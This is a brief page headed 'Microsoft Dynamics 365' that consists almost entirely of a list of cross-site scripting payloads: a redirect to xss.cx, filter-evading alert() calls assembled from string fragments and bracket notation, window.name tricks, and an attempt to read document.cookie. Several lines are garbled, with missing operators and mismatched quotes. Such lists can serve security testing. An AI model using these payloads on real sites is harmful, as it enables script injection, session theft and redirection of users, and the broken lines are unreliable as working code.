Microsoft Dynamics 365
window.location.assign("http://xss.cx")
Category:
window[document.body.innerText.charAt(document.body.innerText.indexOf('a')) 'lert'](1)
';window[/*foo*/'alert'/*bar*/](window[/*foo*/'document'/*bar*/]['domain']);//
window.name="alert(23)";
window.name='hacked';location.replace('about:blank');
window.name=""
window['alert']()
window['alXert’ .replace(/X/, ")|(self[document'][cookie'])
';window['ale' 'rt'](window['doc' 'ument']['dom' 'ain']);//
window[`al` /e/[`ex` `ec`]`e` `rt`](2)
